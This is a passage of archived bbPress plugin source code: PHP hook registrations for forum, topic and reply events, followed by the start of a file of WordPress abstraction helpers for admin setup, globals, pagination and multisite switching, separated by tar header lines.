// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Attach bbPress to WordPress
 *
 * bbPress uses its own internal actions to help aid in third-party plugin
 * development, and to limit the amount of potential future code changes when
 * updates to WordPress core occur.
 *
 * These actions exist to create the concept of 'plugin dependencies'. They
 * provide a safe way for plugins to execute code *only* when bbPress is
 * installed and activated, without needing to do complicated guesswork.
 *
 * For more information on how this works, see the 'Plugin Dependency' section
 * near the bottom of this file.
 *
 *           v--WordPress Actions        v--bbPress Sub-actions
 */
add_action( 'plugins_loaded',           'bbp_loaded',                 10    );
add_action( 'init',                     'bbp_init',                   0     ); // Early for bbp_register
add_action( 'parse_query',              'bbp_parse_query',            2     ); // Early for overrides
add_action( 'generate_rewrite_rules',   'bbp_generate_rewrite_rules', 10    );
add_action( 'after_setup_theme',        'bbp_after_setup_theme',      10    );
add_action( 'setup_theme',              'bbp_setup_theme',            10    );
add_action( 'set_current_user',         'bbp_setup_current_user',     10    );
add_action( 'profile_update',           'bbp_profile_update',         10, 2 ); // user_id and old_user_data
add_action( 'user_register',            'bbp_user_register',          10    );
add_action( 'login_form_login',         'bbp_login_form_login',       10    );
add_action( 'template_redirect',        'bbp_template_redirect',      8     ); // Before BuddyPress's 10 [BB2225]
add_action( 'widgets_init',             'bbp_widgets_init',           10    );
add_action( 'wp_roles_init',            'bbp_roles_init',             10    );
add_action( 'wp_enqueue_scripts',       'bbp_enqueue_scripts',        10    );
add_action( 'wp_head',                  'bbp_head',                   10    );
add_action( 'wp_footer',                'bbp_footer',                 10    );
add_action( 'transition_post_status',   'bbp_transition_post_status', 10, 3 );

/**
 * bbp_loaded - Attached to 'plugins_loaded' above
 *
 * Attach various loader actions to the bbp_loaded action.
 * The load order helps to execute code at the correct time.
 *                                                         v---Load order
 */
add_action( 'bbp_loaded', 'bbp_constants',                 2  );
add_action( 'bbp_loaded', 'bbp_boot_strap_globals',        4  );
add_action( 'bbp_loaded', 'bbp_includes',                  6  );
add_action( 'bbp_loaded', 'bbp_setup_globals',             8  );
add_action( 'bbp_loaded', 'bbp_setup_option_filters',      10 );
add_action( 'bbp_loaded', 'bbp_setup_user_option_filters', 12 );
add_action( 'bbp_loaded', 'bbp_pre_load_options',          14 );

/**
 * bbp_init - Attached to 'init' above
 *
 * Attach various initialization actions to the init action.
 * The load order helps to execute code at the correct time.
 *                                               v---Load order
 */
add_action( 'bbp_init', 'bbp_load_textdomain',   0   );
add_action( 'bbp_init', 'bbp_register',          10  );
add_action( 'bbp_init', 'bbp_add_rewrite_tags',  20  );
add_action( 'bbp_init', 'bbp_add_rewrite_rules', 30  );
add_action( 'bbp_init', 'bbp_add_permastructs',  40  );
add_action( 'bbp_init', 'bbp_setup_engagements', 50  );
add_action( 'bbp_init', 'bbp_ready',             999 );

/**
 * bbp_setup_theme - Attached to 'setup_theme' above
 *
 * Attach various theme related actions to the setup_theme action.
 * The load order helps to execute code at the correct time.
 *                                                            v---Load order
 */
add_action( 'bbp_setup_theme', 'bbp_register_theme_packages', 2 ); // Lower than 5

/**
 * bbp_roles_init - Attached to 'wp_roles_init' above
 *
 * Attach various role related actions to the wp_roles_init action.
 * The load order helps to execute code at the correct time.
 *                                                    v---Load order
 */
add_action( 'bbp_roles_init', 'bbp_add_forums_roles', 8 );

/**
 * When setting up the current user, make sure they have a role for the forums.
 *
 * This is multisite aware, thanks to bbp_filter_user_roles_option(), hooked to
 * the 'bbp_loaded' action above.
 */
add_action( 'bbp_setup_current_user', 'bbp_set_current_user_default_role' );

/**
 * bbp_register - Attached to 'init' above on 0 priority
 *
 * Attach various initialization actions early to the init action.
 * The load order helps to execute code at the correct time.
 *                                                         v---Load order
 */
add_action( 'bbp_register', 'bbp_register_post_types',     2  );
add_action( 'bbp_register', 'bbp_register_post_statuses',  4  );
add_action( 'bbp_register', 'bbp_register_taxonomies',     6  );
add_action( 'bbp_register', 'bbp_register_views',          8  );
add_action( 'bbp_register', 'bbp_register_shortcodes',     10 );
add_action( 'bbp_register', 'bbp_register_meta',           12 );

// Autoembeds
add_action( 'bbp_init', 'bbp_reply_content_autoembed', 8 );
add_action( 'bbp_init', 'bbp_topic_content_autoembed', 8 );

/**
 * bbp_ready - attached to end 'bbp_init' above
 *
 * Attach actions to the ready action after bbPress has fully initialized.
 * The load order helps to execute code at the correct time.
 *                                                v---Load order
 */
add_action( 'bbp_ready',  'bbp_setup_akismet',    2  ); // Spam prevention for topics and replies
add_action( 'bp_include', 'bbp_setup_buddypress', 10 ); // Social network integration

// Try to load the bbpress-functions.php file from the active themes
add_action( 'bbp_after_setup_theme', 'bbp_load_theme_functions', 10 );

// Widgets
add_action( 'bbp_widgets_init', array( 'BBP_Login_Widget',   'register_widget' ), 10 );
add_action( 'bbp_widgets_init', array( 'BBP_Views_Widget',   'register_widget' ), 10 );
add_action( 'bbp_widgets_init', array( 'BBP_Search_Widget',  'register_widget' ), 10 );
add_action( 'bbp_widgets_init', array( 'BBP_Forums_Widget',  'register_widget' ), 10 );
add_action( 'bbp_widgets_init', array( 'BBP_Topics_Widget',  'register_widget' ), 10 );
add_action( 'bbp_widgets_init', array( 'BBP_Replies_Widget', 'register_widget' ), 10 );
add_action( 'bbp_widgets_init', array( 'BBP_Stats_Widget',   'register_widget' ), 10 );

// Notices
add_action( 'bbp_template_notices', 'bbp_template_notices',                20 );
add_action( 'bbp_template_notices', 'bbp_login_notices'                       );
add_action( 'bbp_template_notices', 'bbp_topic_notices'                       );
add_action( 'bbp_template_notices', 'bbp_notice_edit_user_success'            );
add_action( 'bbp_template_notices', 'bbp_notice_edit_user_pending_email'      );
add_action( 'bbp_template_notices', 'bbp_notice_edit_user_is_super_admin', 2  );

// Always exclude private/hidden forums if needed
add_action( 'pre_get_posts', 'bbp_pre_get_posts_normalize_forum_visibility', 4 );

// Before Delete/Trash/Untrash Forum
add_action( 'wp_trash_post',      'bbp_trash_forum'   );
add_action( 'trash_post',         'bbp_trash_forum'   );
add_action( 'untrash_post',       'bbp_untrash_forum' );
add_action( 'before_delete_post', 'bbp_delete_forum'  );

// After Deleted/Trashed/Untrashed Forum
add_action( 'trashed_post',   'bbp_trashed_forum'   );
add_action( 'untrashed_post', 'bbp_untrashed_forum' );
add_action( 'deleted_post',   'bbp_deleted_forum'   );

// Auto trash/untrash/delete a forums topics
add_action( 'bbp_delete_forum',  'bbp_delete_forum_topics',  10 );
add_action( 'bbp_trash_forum',   'bbp_trash_forum_topics',   10 );
add_action( 'bbp_untrash_forum', 'bbp_untrash_forum_topics', 10 );

// New/Edit Forum
add_action( 'bbp_new_forum',  'bbp_update_forum', 10 );
add_action( 'bbp_edit_forum', 'bbp_update_forum', 10 );

// Save forum extra metadata
add_action( 'bbp_new_forum_post_extras',         'bbp_save_forum_extras', 2 );
add_action( 'bbp_edit_forum_post_extras',        'bbp_save_forum_extras', 2 );
add_action( 'bbp_forum_attributes_metabox_save', 'bbp_save_forum_extras', 2 );

// New/Edit Reply
add_action( 'bbp_new_reply',  'bbp_update_reply', 10, 7 );
add_action( 'bbp_edit_reply', 'bbp_update_reply', 10, 7 );

// Before Delete/Trash/Untrash Reply
add_action( 'wp_trash_post',      'bbp_trash_reply'   );
add_action( 'trash_post',         'bbp_trash_reply'   );
add_action( 'untrash_post',       'bbp_untrash_reply' );
add_action( 'before_delete_post', 'bbp_delete_reply'  );

// After Deleted/Trashed/Untrashed Reply
add_action( 'trashed_post',   'bbp_trashed_reply'   );
add_action( 'untrashed_post', 'bbp_untrashed_reply' );
add_action( 'deleted_post',   'bbp_deleted_reply'   );

// New/Edit Topic
add_action( 'bbp_new_topic',  'bbp_update_topic', 10, 5 );
add_action( 'bbp_edit_topic', 'bbp_update_topic', 10, 5 );

// Split/Merge Topic
add_action( 'bbp_merged_topic',     'bbp_merge_topic_count', 1, 3 );
add_action( 'bbp_post_split_topic', 'bbp_split_topic_count', 1, 3 );

// Move Reply
add_action( 'bbp_post_move_reply', 'bbp_move_reply_count', 1, 3 );

// Before Delete/Trash/Untrash Topic
add_action( 'wp_trash_post',      'bbp_trash_topic'   );
add_action( 'trash_post',         'bbp_trash_topic'   );
add_action( 'untrash_post',       'bbp_untrash_topic' );
add_action( 'before_delete_post', 'bbp_delete_topic'  );

// After Deleted/Trashed/Untrashed Topic
add_action( 'trashed_post',   'bbp_trashed_topic'   );
add_action( 'untrashed_post', 'bbp_untrashed_topic' );
add_action( 'deleted_post',   'bbp_deleted_topic'   );

// Favorites
add_action( 'bbp_spam_topic',   'bbp_remove_topic_from_all_favorites' );
add_action( 'bbp_trash_topic',  'bbp_remove_topic_from_all_favorites' );
add_action( 'bbp_delete_topic', 'bbp_remove_topic_from_all_favorites' );

// Subscriptions
add_action( 'bbp_spam_topic',   'bbp_remove_topic_from_all_subscriptions' );
add_action( 'bbp_trash_topic',  'bbp_remove_topic_from_all_subscriptions' );
add_action( 'bbp_delete_topic', 'bbp_remove_topic_from_all_subscriptions' );
add_action( 'bbp_trash_forum',  'bbp_remove_forum_from_all_subscriptions' );
add_action( 'bbp_delete_forum', 'bbp_remove_forum_from_all_subscriptions' );

// Subscription notifications
add_action( 'bbp_new_reply',    'bbp_notify_topic_subscribers', 11, 5 );
add_action( 'bbp_new_topic',    'bbp_notify_forum_subscribers', 11, 4 );

// Sticky
add_action( 'bbp_stick_topic',     'bbp_unstick_topic' );
add_action( 'bbp_unapprove_topic', 'bbp_unstick_topic' );
add_action( 'bbp_spam_topic',      'bbp_unstick_topic' );
add_action( 'bbp_trash_topic',     'bbp_unstick_topic' );
add_action( 'bbp_delete_topic',    'bbp_unstick_topic' );

// Update topic branch
add_action( 'bbp_trashed_topic',    'bbp_update_topic_walker' );
add_action( 'bbp_untrashed_topic',  'bbp_update_topic_walker' );
add_action( 'bbp_deleted_topic',    'bbp_update_topic_walker' );
add_action( 'bbp_spammed_topic',    'bbp_update_topic_walker' );
add_action( 'bbp_unspammed_topic',  'bbp_update_topic_walker' );
add_action( 'bbp_approved_topic',   'bbp_update_topic_walker' );
add_action( 'bbp_unapproved_topic', 'bbp_update_topic_walker' );

// Update reply branch
add_action( 'bbp_trashed_reply',    'bbp_update_reply_walker' );
add_action( 'bbp_untrashed_reply',  'bbp_update_reply_walker' );
add_action( 'bbp_deleted_reply',    'bbp_update_reply_walker' );
add_action( 'bbp_spammed_reply',    'bbp_update_reply_walker' );
add_action( 'bbp_unspammed_reply',  'bbp_update_reply_walker' );
add_action( 'bbp_approved_reply',   'bbp_update_reply_walker' );
add_action( 'bbp_unapproved_reply', 'bbp_update_reply_walker' );

// Update forum reply counts
add_action( 'bbp_new_reply',        'bbp_increase_forum_reply_count' );
add_action( 'bbp_untrashed_reply',  'bbp_increase_forum_reply_count' );
add_action( 'bbp_unspammed_reply',  'bbp_increase_forum_reply_count' );
add_action( 'bbp_approved_reply',   'bbp_increase_forum_reply_count' );
add_action( 'bbp_trash_reply',      'bbp_decrease_forum_reply_count' );
add_action( 'bbp_spam_reply',       'bbp_decrease_forum_reply_count' );
add_action( 'bbp_unapprove_reply',  'bbp_decrease_forum_reply_count' );

// Update forum hidden reply counts
add_action( 'bbp_trashed_reply',    'bbp_increase_forum_reply_count_hidden' );
add_action( 'bbp_spammed_reply',    'bbp_increase_forum_reply_count_hidden' );
add_action( 'bbp_unapproved_reply', 'bbp_increase_forum_reply_count_hidden' );
add_action( 'bbp_untrash_reply',    'bbp_decrease_forum_reply_count_hidden' );
add_action( 'bbp_unspam_reply',     'bbp_decrease_forum_reply_count_hidden' );
add_action( 'bbp_approve_reply',    'bbp_decrease_forum_reply_count_hidden' );
add_action( 'bbp_delete_reply',     'bbp_decrease_forum_reply_count_hidden' );

// Update forum topic counts
add_action( 'bbp_new_topic',        'bbp_increase_forum_topic_count' );
add_action( 'bbp_untrashed_topic',  'bbp_increase_forum_topic_count' );
add_action( 'bbp_unspammed_topic',  'bbp_increase_forum_topic_count' );
add_action( 'bbp_approved_topic',   'bbp_increase_forum_topic_count' );
add_action( 'bbp_trash_topic',      'bbp_decrease_forum_topic_count' );
add_action( 'bbp_spam_topic',       'bbp_decrease_forum_topic_count' );
add_action( 'bbp_unapprove_topic',  'bbp_decrease_forum_topic_count' );

// Update forum hidden topic counts
add_action( 'bbp_trashed_topic',    'bbp_increase_forum_topic_count_hidden' );
add_action( 'bbp_spammed_topic',    'bbp_increase_forum_topic_count_hidden' );
add_action( 'bbp_unapproved_topic', 'bbp_increase_forum_topic_count_hidden' );
add_action( 'bbp_untrash_topic',    'bbp_decrease_forum_topic_count_hidden' );
add_action( 'bbp_unspam_topic',     'bbp_decrease_forum_topic_count_hidden' );
add_action( 'bbp_approve_topic',    'bbp_decrease_forum_topic_count_hidden' );
add_action( 'bbp_delete_topic',     'bbp_decrease_forum_topic_count_hidden' );

// Update topic reply counts
add_action( 'bbp_new_reply',        'bbp_increase_topic_reply_count' );
add_action( 'bbp_untrashed_reply',  'bbp_increase_topic_reply_count' );
add_action( 'bbp_unspammed_reply',  'bbp_increase_topic_reply_count' );
add_action( 'bbp_approved_reply',   'bbp_increase_topic_reply_count' );
add_action( 'bbp_trash_reply',      'bbp_decrease_topic_reply_count' );
add_action( 'bbp_spam_reply',       'bbp_decrease_topic_reply_count' );
add_action( 'bbp_unapprove_reply',  'bbp_decrease_topic_reply_count' );

// Update topic hidden reply counts
add_action( 'bbp_trashed_reply',    'bbp_increase_topic_reply_count_hidden' );
add_action( 'bbp_unapproved_reply', 'bbp_increase_topic_reply_count_hidden' );
add_action( 'bbp_spammed_reply',    'bbp_increase_topic_reply_count_hidden' );
add_action( 'bbp_untrash_reply',    'bbp_decrease_topic_reply_count_hidden' );
add_action( 'bbp_unspam_reply',     'bbp_decrease_topic_reply_count_hidden' );
add_action( 'bbp_approve_reply',    'bbp_decrease_topic_reply_count_hidden' );
add_action( 'bbp_delete_reply',     'bbp_decrease_topic_reply_count_hidden' );

// Update forum reply counts for approved/unapproved topics
add_action( 'bbp_approved_topic',   'bbp_approved_unapproved_topic_update_forum_reply_count' );
add_action( 'bbp_unapproved_topic', 'bbp_approved_unapproved_topic_update_forum_reply_count' );

// Users topic & reply counts
add_action( 'bbp_new_topic',     'bbp_increase_user_topic_count' );
add_action( 'bbp_new_reply',     'bbp_increase_user_reply_count' );
add_action( 'bbp_untrash_topic', 'bbp_increase_user_topic_count' );
add_action( 'bbp_untrash_reply', 'bbp_increase_user_reply_count' );
add_action( 'bbp_unspam_topic',  'bbp_increase_user_topic_count' );
add_action( 'bbp_unspam_reply',  'bbp_increase_user_reply_count' );
add_action( 'bbp_trash_topic',   'bbp_decrease_user_topic_count' );
add_action( 'bbp_trash_reply',   'bbp_decrease_user_reply_count' );
add_action( 'bbp_spam_topic',    'bbp_decrease_user_topic_count' );
add_action( 'bbp_spam_reply',    'bbp_decrease_user_reply_count' );

// Topic status transition helpers for replies
add_action( 'bbp_trash_topic',   'bbp_trash_topic_replies'   );
add_action( 'bbp_untrash_topic', 'bbp_untrash_topic_replies' );
add_action( 'bbp_delete_topic',  'bbp_delete_topic_replies'  );
add_action( 'bbp_spam_topic',    'bbp_spam_topic_replies'    );
add_action( 'bbp_unspam_topic',  'bbp_unspam_topic_replies'  );

// Topic engagements on user creation
add_action( 'bbp_new_topic', 'bbp_update_topic_engagements', 20 );
add_action( 'bbp_new_reply', 'bbp_update_topic_engagements', 20 );

add_action( 'bbp_new_reply', 'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_new_topic', 'bbp_update_topic_voice_count', 30 );

// Topic/reply counts on code insert (unit tests)
add_action( 'bbp_insert_topic', 'bbp_insert_topic_update_counts', 10, 2 );
add_action( 'bbp_insert_reply', 'bbp_insert_reply_update_counts', 10, 3 );

// Topic engagements on code insert (unit tests)
add_action( 'bbp_insert_topic', 'bbp_update_topic_engagements', 20 );
add_action( 'bbp_insert_reply', 'bbp_update_topic_engagements', 20 );

// Topic engagement counts on code insert (unit tests)
add_action( 'bbp_insert_topic', 'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_insert_reply', 'bbp_update_topic_voice_count', 30 );

// Recalculate engagements
add_action( 'bbp_trashed_reply',    'bbp_recalculate_topic_engagements' );
add_action( 'bbp_untrashed_reply',  'bbp_recalculate_topic_engagements' );
add_action( 'bbp_spammed_reply',    'bbp_recalculate_topic_engagements' );
add_action( 'bbp_unspammed_reply',  'bbp_recalculate_topic_engagements' );
add_action( 'bbp_approved_reply',   'bbp_recalculate_topic_engagements' );
add_action( 'bbp_unapproved_reply', 'bbp_recalculate_topic_engagements' );
add_action( 'bbp_deleted_reply',    'bbp_recalculate_topic_engagements' );
add_action( 'bbp_trashed_topic',    'bbp_recalculate_topic_engagements' );
add_action( 'bbp_untrashed_topic',  'bbp_recalculate_topic_engagements' );
add_action( 'bbp_spammed_topic',    'bbp_recalculate_topic_engagements' );
add_action( 'bbp_unspammed_topic',  'bbp_recalculate_topic_engagements' );
add_action( 'bbp_approved_topic',   'bbp_recalculate_topic_engagements' );
add_action( 'bbp_unapproved_topic', 'bbp_recalculate_topic_engagements' );
add_action( 'bbp_deleted_topic',    'bbp_recalculate_topic_engagements' );

// Update engagement counts
add_action( 'bbp_trashed_reply',    'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_untrashed_reply',  'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_spammed_reply',    'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_unspammed_reply',  'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_approved_reply',   'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_unapproved_reply', 'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_deleted_reply',    'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_trashed_topic',    'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_untrashed_topic',  'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_spammed_topic',    'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_unspammed_topic',  'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_approved_topic',   'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_unapproved_topic', 'bbp_update_topic_voice_count', 30 );
add_action( 'bbp_deleted_topic',    'bbp_update_topic_voice_count', 30 );

// User status
// @todo make these sub-actions
add_action( 'make_ham_user',  'bbp_make_ham_user'  );
add_action( 'make_spam_user', 'bbp_make_spam_user' );

// User role
add_action( 'bbp_profile_update', 'bbp_profile_update_role' );

// Hook WordPress admin actions to bbPress profiles on save
add_action( 'bbp_user_edit_after', 'bbp_user_edit_after' );

// Clean bbPress post caches when WordPress's is cleaned
add_action( 'clean_post_cache', 'bbp_clean_post_cache', 10, 2 );

// User Registration
add_action( 'added_existing_user', 'bbp_user_add_role_on_register', 10, 1 );
add_action( 'bbp_user_register',   'bbp_user_add_role_on_register', 10, 1 );

// Invite a New User
add_action( 'invite_user',         'bbp_user_add_role_on_invite',   10, 3 );

// Multisite Activation (does not work in wp-activate.php)
add_action( 'wpmu_activate_user',  'bbp_user_add_role_on_activate', 10, 3 );

/**
 * bbPress needs to redirect the user around in a few different circumstances:
 *
 * 1. POST and GET requests
 * 2. Accessing private or hidden content (forums/topics/replies)
 * 3. Editing forums, topics, replies, users, and tags
 * 4. bbPress specific AJAX requests
 */
add_action( 'bbp_template_redirect', 'bbp_forum_enforce_blocked', 1  );
add_action( 'bbp_template_redirect', 'bbp_forum_enforce_hidden',  1  );
add_action( 'bbp_template_redirect', 'bbp_forum_enforce_private', 1  );
add_action( 'bbp_template_redirect', 'bbp_post_request',          10 );
add_action( 'bbp_template_redirect', 'bbp_get_request',           10 );
add_action( 'bbp_template_redirect', 'bbp_check_user_edit',       10 );
add_action( 'bbp_template_redirect', 'bbp_check_forum_edit',      10 );
add_action( 'bbp_template_redirect', 'bbp_check_topic_edit',      10 );
add_action( 'bbp_template_redirect', 'bbp_check_reply_edit',      10 );
add_action( 'bbp_template_redirect', 'bbp_check_topic_tag_edit',  10 );

// Must be after bbp_template_include_theme_compat
add_action( 'bbp_template_redirect', 'bbp_remove_adjacent_posts', 10 );

// Theme-side POST requests
add_action( 'bbp_post_request', 'bbp_do_ajax',                1  );
add_action( 'bbp_post_request', 'bbp_edit_topic_tag_handler', 1  );
add_action( 'bbp_post_request', 'bbp_edit_user_handler',      1  );
add_action( 'bbp_post_request', 'bbp_edit_forum_handler',     1  );
add_action( 'bbp_post_request', 'bbp_edit_reply_handler',     1  );
add_action( 'bbp_post_request', 'bbp_edit_topic_handler',     1  );
add_action( 'bbp_post_request', 'bbp_merge_topic_handler',    1  );
add_action( 'bbp_post_request', 'bbp_split_topic_handler',    1  );
add_action( 'bbp_post_request', 'bbp_move_reply_handler',     1  );
add_action( 'bbp_post_request', 'bbp_new_forum_handler',      10 );
add_action( 'bbp_post_request', 'bbp_new_reply_handler',      10 );
add_action( 'bbp_post_request', 'bbp_new_topic_handler',      10 );

// Theme-side GET requests
add_action( 'bbp_get_request', 'bbp_toggle_topic_handler',        1  );
add_action( 'bbp_get_request', 'bbp_toggle_reply_handler',        1  );
add_action( 'bbp_get_request', 'bbp_favorites_handler',           1  );
add_action( 'bbp_get_request', 'bbp_subscriptions_handler',       1  );
add_action( 'bbp_get_request', 'bbp_user_email_change_handler',   1  );
add_action( 'bbp_get_request', 'bbp_search_results_redirect',     10 );

// Maybe convert the users password
add_action( 'bbp_login_form_login', 'bbp_user_maybe_convert_pass' );
includes/core/index.php000066600000000072151771460310011132 0ustar00<?php

/**
 * Do not modify the files in this folder.
 */
includes/core/abstraction.php000066600000027144151771460310012345 0ustar00<?php

/**
 * bbPress Abstractions
 *
 * This file contains functions for abstracting WordPress core functionality
 * into convenient wrappers so they can be used more reliably.
 *
 * Many of the functions in this file are considered superfluous by
 * WordPress coding standards, but they're handy for plugins of plugins to use.
 *
 * @package bbPress
 * @subpackage Core
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/**
 * Setup Admin
 *
 * This exists outside of "/includes/admin/" because the converter may need to
 * be setup to convert the passwords of users that were migrated from another
 * forum platform.
 *
 * @since 2.6.0 bbPress (r2596)
 */
function bbp_setup_admin() {
	$bbp = bbpress();

	// Skip if already setup
	if ( empty( $bbp->admin ) ) {

		// Require the admin class
		require_once $bbp->includes_dir . 'admin/classes/class-bbp-admin.php';

		// Setup
		$bbp->admin = class_exists( 'BBP_Admin' )
			? new BBP_Admin()
			: new stdClass();
	}

	// Return the admin object
	return $bbp->admin;
}

/**
 * Setup Converter
 *
 * This exists outside of "/includes/admin/" because the converter may need to
 * be setup to convert the passwords of users that were migrated from another
 * forum platform.
 *
 * @since 2.6.0 bbPress (r2596)
 */
function bbp_setup_converter() {
	$bbp_admin = bbp_setup_admin();

	// Skip if already setup
	if ( empty( $bbp_admin->converter ) ) {

		// Require the converter files
		require_once $bbp_admin->admin_dir . 'tools/converter.php';
		require_once $bbp_admin->admin_dir . 'classes/class-bbp-converter.php';
		require_once $bbp_admin->admin_dir . 'classes/class-bbp-converter-db.php';
		require_once $bbp_admin->admin_dir . 'classes/class-bbp-converter-base.php';

		// Setup
		$bbp_admin->converter = class_exists( 'BBP_Converter' )
			? new BBP_Converter()
			: new stdClass();
	}

	// Return the converter
	return $bbp_admin->converter;
}

/** Globals *******************************************************************/

/**
 * Lookup and return a global variable
 *
 * @since 2.5.8 bbPress (r5814)
 *
 * @param  string  $name     Name of global variable
 * @param  string  $type     Type of variable to check with `is_a()`
 * @param  mixed   $default  Default value to return if no global found
 *
 * @return mixed   Verified object if valid, Default or null if invalid
 */
function bbp_get_global_object( $name = '', $type = '', $default = null ) {

	// If no name passed
	if ( empty( $name ) ) {
		$retval = $default;

	// If no global exists
	} elseif ( ! isset( $GLOBALS[ $name ] ) ) {
		$retval = $default;

	// If not the correct type of global
	} elseif ( ! empty( $type ) && ! is_a( $GLOBALS[ $name ], $type ) ) {
		$retval = $default;

	// Global variable exists
	} else {
		$retval = $GLOBALS[ $name ];
	}

	// Filter & return
	return apply_filters( 'bbp_get_global_object', $retval, $name, $type, $default );
}

/**
 * Get the `$wp_query` global without needing to declare it everywhere
 *
 * @since 2.6.0 bbPress (r6582)
 *
 * @return WP_Roles
 */
function bbp_get_wp_query() {
	return bbp_get_global_object( 'wp_query', 'WP_Query' );
}

/**
 * Get the `$wp_roles` global without needing to declare it everywhere
 *
 * @since 2.2.0 bbPress (r4293)
 *
 * @return WP_Roles
 */
function bbp_get_wp_roles() {
	return bbp_get_global_object( 'wp_roles', 'WP_Roles' );
}

/**
 * Return the database class being used to interface with the environment.
 *
 * This function is abstracted to avoid global touches to the primary database
 * class. bbPress supports WordPress's `$wpdb` global by default, and can be
 * filtered to support other configurations if needed.
 *
 * @since 2.5.8 bbPress (r5814)
 *
 * @return object
 */
function bbp_db() {
	return bbp_get_global_object( 'wpdb', 'WPDB' );
}

/** Pagination ****************************************************************/

/**
 * Return the rewrite rules class being used to interact with URLs.
 *
 * This function is abstracted to avoid global touches to the primary rewrite
 * rules class. bbPress supports WordPress's `$wp_rewrite` by default, but can
 * be filtered to support other configurations if needed.
 *
 * @since 2.5.8 bbPress (r5814)
 *
 * @return object
 */
function bbp_rewrite() {
	return bbp_get_global_object( 'wp_rewrite', 'WP_Rewrite', (object) array(
		'root'            => '',
		'pagination_base' => 'page',
	) );
}

/**
 * Get the root URL
 *
 * @since 2.5.8 bbPress (r5814)
 *
 * @return string
 */
function bbp_get_root_url() {

	// Default
	$retval  = '';
	$rewrite = bbp_rewrite();

	// Use $wp_rewrite->root if available
	if ( property_exists( $rewrite, 'root' ) ) {
		$retval = $rewrite->root;
	}

	// Filter & return
	return apply_filters( 'bbp_get_root_url', $retval );
}

/**
 * Get the slug used for paginated requests
 *
 * @since 2.4.0 bbPress (r4926)
 *
 * @return string
 */
function bbp_get_paged_slug() {

	// Default
	$retval  = 'page';
	$rewrite = bbp_rewrite();

	// Use $wp_rewrite->pagination_base if available
	if ( property_exists( $rewrite, 'pagination_base' ) ) {
		$retval = $rewrite->pagination_base;
	}

	// Filter & return
	return apply_filters( 'bbp_get_paged_slug', $retval );
}

/**
 * Is the environment using pretty URLs?
 *
 * @since 2.5.8 bbPress (r5814)
 *
 * @global object $wp_rewrite The WP_Rewrite object
 *
 * @return bool
 */
function bbp_use_pretty_urls() {

	// Default
	$retval  = false;
	$rewrite = bbp_rewrite();

	// Use $wp_rewrite->using_permalinks() if available
	if ( method_exists( $rewrite, 'using_permalinks' ) ) {
		$retval = $rewrite->using_permalinks();
	}

	// Filter & return
	return apply_filters( 'bbp_pretty_urls', $retval );
}

/**
 * Remove the first-page from a pagination links result set, ensuring that it
 * points to the canonical first page URL.
 *
 * This is a bit of an SEO hack, to guarantee that the first page in a loop will
 * never have pagination appended to the end of it, regardless of what the other
 * functions have decided for us.
 *
 * @since 2.6.0 bbPress (r6678)
 *
 * @param string $pagination_links The HTML links used for pagination
 *
 * @return string
 */
function bbp_make_first_page_canonical( $pagination_links = '' ) {

	// Default value
	$retval = $pagination_links;

	// Remove first page from pagination
	if ( ! empty( $pagination_links ) ) {
		$retval = bbp_use_pretty_urls()
			? str_replace( bbp_get_paged_slug() . '/1/', '', $pagination_links )
			: preg_replace( '/&#038;paged=1(?=[^0-9])/m', '', $pagination_links );
	}

	// Filter & return
	return apply_filters( 'bbp_make_first_page_canonical', $retval, $pagination_links );
}

/**
 * A convenient wrapper for common calls to paginate_links(), complete with
 * support for parameters that aren't used internally by bbPress.
 *
 * @since 2.6.0 bbPress (r6679)
 *
 * @param array $args
 *
 * @return string
 */
function bbp_paginate_links( $args = array() ) {

	// Maybe add view-all args
	$add_args = empty( $args['add_args'] ) && bbp_get_view_all()
		? array( 'view' => 'all' )
		: false;

	// Pagination settings with filter
	$r = bbp_parse_args( $args, array(

		// Used by callers
		'base'      => '',
		'total'     => 1,
		'current'   => bbp_get_paged(),
		'prev_next' => true,
		'prev_text' => is_rtl() ? '&rarr;' : '&larr;',
		'next_text' => is_rtl() ? '&larr;' : '&rarr;',
		'mid_size'  => 1,
		'end_size'  => 3,
		'add_args'  => $add_args,

		// Unused by callers
		'show_all'           => false,
		'type'               => 'plain',
		'format'             => '',
		'add_fragment'       => '',
		'before_page_number' => '',
		'after_page_number'  => ''
	), 'paginate_links' );

	// Return paginated links
	return bbp_make_first_page_canonical( paginate_links( $r ) );
}

/**
 * Parse the WordPress core version number
 *
 * @since 2.6.0 bbPress (r6051)
 *
 * @global string $wp_version
 *
 * @return string $wp_version
 */
function bbp_get_major_wp_version() {
	global $wp_version;

	return (float) $wp_version;
}

/** Multisite *****************************************************************/

/**
 * Is this a large bbPress installation?
 *
 * @since 2.6.0 bbPress (r6242)
 *
 * @return bool True if more than 10000 users, false not
 */
function bbp_is_large_install() {

	// Multisite has a function specifically for this
	$retval = function_exists( 'wp_is_large_network' )
		? wp_is_large_network( 'users' )
		: ( bbp_get_total_users() > 10000 );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_large_install', $retval );
}

/**
 * Get the total number of users on the forums
 *
 * @since 2.0.0 bbPress (r2769)
 *
 * @return int Total number of users
 */
function bbp_get_total_users() {
	$bbp_db = bbp_db();
	$count  = $bbp_db->get_var( "SELECT COUNT(ID) as c FROM {$bbp_db->users} WHERE user_status = '0'" );

	// Filter & return
	return (int) apply_filters( 'bbp_get_total_users', (int) $count );
}

/**
 * Switch to a site in a multisite installation.
 *
 * If not a multisite installation, no switching will occur.
 *
 * @since 2.6.0 bbPress (r6733)
 *
 * @param int $site_id
 */
function bbp_switch_to_site( $site_id = 0 ) {

	// Switch to a specific site
	if ( is_multisite() ) {
		switch_to_blog( $site_id );
	}
}

/**
 * Switch back to the original site in a multisite installation.
 *
 * If not a multisite installation, no switching will occur.
 *
 * @since 2.6.0 bbPress (r6733)
 */
function bbp_restore_current_site() {

